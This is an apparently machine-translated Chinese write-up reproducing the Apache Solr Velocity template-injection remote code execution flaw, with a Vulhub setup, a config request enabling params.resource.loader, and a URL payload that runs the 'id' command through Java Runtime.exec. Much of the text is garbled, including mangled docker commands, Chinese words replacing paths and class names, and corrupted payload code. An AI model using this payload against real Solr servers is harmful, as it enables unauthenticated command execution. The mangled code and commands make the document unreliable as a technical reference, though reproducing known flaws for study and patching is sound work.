Apache Solr 模板注入远程代码执行漏洞
Apache Solr是一家基于美国Apache Software Foundation的Lucene(全文搜索引擎)的搜索服务器。 Apache Velocity是一个模板引擎,可提供HTML页面模板,电子邮件模板和通用开源代码生成器模板。在多个版本的Apache Solr中,可以通过HTTP请求指定Apache Solr的VelocityResponseWriter功能的配置参数,从而导致用户在设置特定参数后通过注入任何速度模板来执行任何命令。影响范围
5.0.0=apache solr=8.3.1环境搭建
您可以重新创建Vulhub的Solr环境1
2
Docker -compose -d
docker -compose exec solr bash bin/solr create_core -c test -d示例/示例示例/solr/db
复制从速度/solr/solr-webapp/webapp/web-inf/lib/at :开始的cont/velocity/lib中的jar package/lib。

重新启动Solr服务。
漏洞复现
满足上述环境条件时,利用此漏洞分为两个步骤。首先通过HTTP请求设置密钥参数参数params.resource.loader.polabe.loader.yabled到true,以便可以从用户的HTTP请求指定任何模板代码。然后通过指定任何速度模板代码来执行任何命令。由于Solr默认情况下不启用身份验证,因此在这种情况下,利用不需要登录凭据。1
2
3
4
5
6
7
8
9
10
{
'Update-QueryResponseWriter': {
'startup':'Lazy',
'name':'速度',
'class':'solr.velocityresponsewriter',
'template.base.dir':'',
'solr.resource.loader.enabled':'true',
'params.resource.loader.enabled':'true'
}
}

发送有效载荷:
访问: http://ip3:8983/solr/test/select?q=1wt=velocityv.template=customv.template.custom=%23SET($ x=%27%27%27)+%23SET($ rt=$ x.class.forname(%27Java.lang.runtime%27))+%23SET($ chr=$ x.Class.Forname(%27Java.lang.lang.Character%27))+%23SET( $ str=$ X.CLASS.FORNAME(%27Java.lang.String%27))+%23SET($ ex=$ rt.getRuntime()。exec(%27ID%27))+$ ex.waitfor()+%23SET ($ out=$ ex.getInputStream())+%23foreach($ i+in+[1 . $ out.available()])$ str.valueof($ chr.tochars($ chr.tochars($ out.Read.Read.Read.Read()))%23END

执行ID命令的返回结果:

